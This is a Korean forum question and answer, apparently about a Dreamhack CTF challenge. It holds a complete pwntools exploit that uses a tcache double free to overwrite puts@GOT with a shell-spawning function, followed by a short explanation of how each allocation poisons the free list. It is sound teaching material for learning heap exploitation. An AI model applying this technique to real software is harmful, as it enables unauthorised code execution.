from pwn import *
p = remote('host3.dreamhack.games', 19102)
#p = process('./tcache_dup')
e = ELF('./tcache_dup')
libc = ELF('libc-2.27.so')
def create(a, b):
p.sendlineafter('> ', str(1))
p.sendlineafter(': ', str(a))
p.sendafter(': ', b)
def delete(a):
p.sendlineafter('> ', str(2))
p.sendlineafter(': ', str(a))
create(0x10, 'aaaa')
delete(0)
delete(0)
create(0x10, p64(e.got['puts']))
create(0x10, 'a'*8)
create(0x10, p64(e.sym['get_shell']))
p.interactive()
이렇게 해서 풀었는데 더블프리 하고 다시
create(0x10, p64(e.got['puts']))
create(0x10, 'a'8)
create(0x10, p64(e.sym['get_shell']))
저렇게 할당 받았을때 왜 puts@got가 쉘 함수로 덮이는지 궁금 합니다 중간에 왜 a8이 들어가는지도 궁금하고 도와주세요..
create(0x10, p64(e.got[‘puts’]))
-> fd에 값을 삽입하기 위함.
create(0x10, 'a’8)
-> fd 값을 tcache entry에 삽입하기 위함
create(0x10, p64(e.sym[‘get_shell’]))
-> 힙이 tcache entry의 주소 즉, puts got에 생성되고 해당 값을 get shell의 주소로 변경
과 같이 작동합니다